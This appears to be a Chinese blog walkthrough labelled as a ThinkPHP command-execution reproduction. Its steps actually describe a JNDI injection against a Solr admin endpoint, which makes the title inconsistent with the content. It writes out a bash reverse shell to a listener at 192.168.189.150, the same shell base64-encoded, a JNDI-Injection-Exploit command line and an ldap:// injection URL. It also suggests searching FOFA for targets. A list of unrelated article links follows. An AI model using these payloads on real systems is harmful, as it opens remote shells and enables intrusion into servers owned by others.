thinkphp之命令执行漏洞复现

实战:

fofa搜索thinkphp--

第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果

返回dnslog查看到了Java的版本信息

打开kali监听端口

进行base64编码

复制代码
bash -i >& /dev/tcp/192.168.189.150/8080 0>&1

我编码后的是

复制代码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OS4xNTAvODA4MCAwPiYx

复制语句、

复制代码
# 命令模板
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,[经过base64编码后的命令1}|{base64,-d}|bash"-A 你的ypsipl
#我的命令语句是
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C"bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OS4xNTAvODA4MCAwPiYx}|{base64,-d}|bash" -A 192.168.189.150
​
复制代码
访问一下kali里面得到的1.8版本的ldmp:/solr/admin/cores?action=${jndi:ldap://192.168.189.150:1389/jj9zyn
}

kali里面就可以监听的到了

相关推荐
shellvon4 分钟前
从抓包到攻防:解锁API安全设计的秘密
后端·安全
※※冰馨※※11 分钟前
【c#】 使用winform如何将一个船的图标(ship.png)添加到资源文件
开发语言·windows·c#
蜀中廖化1 小时前
bash:trtexec:command not found
开发语言·bash
堕落年代1 小时前
小红书JS SDK签名过程
开发语言·javascript·ecmascript
MediaTea1 小时前
Python:math 库函数手册(双曲函数)
开发语言·python
€8112 小时前
Java入门级教程16——JUC的安全并发包机制
java·开发语言·juc的安全并发包机制·栅栏机制·闭锁机制·信号量机制·无锁机制
爱吃KFC的大肥羊2 小时前
C++三大特性之“继承”
开发语言·c++
毕设源码-李学长2 小时前
计算机毕业设计java高校多媒体教室管理系统高校多媒体教室综合管理系统高校智能多媒体教室管理平台
java·开发语言·课程设计
先知后行。2 小时前
线程的创建.销毁
开发语言·c++·算法
鱼嘻2 小时前
西嘎嘎学习 - C++ 继承 - Day 10
开发语言·c++·学习·算法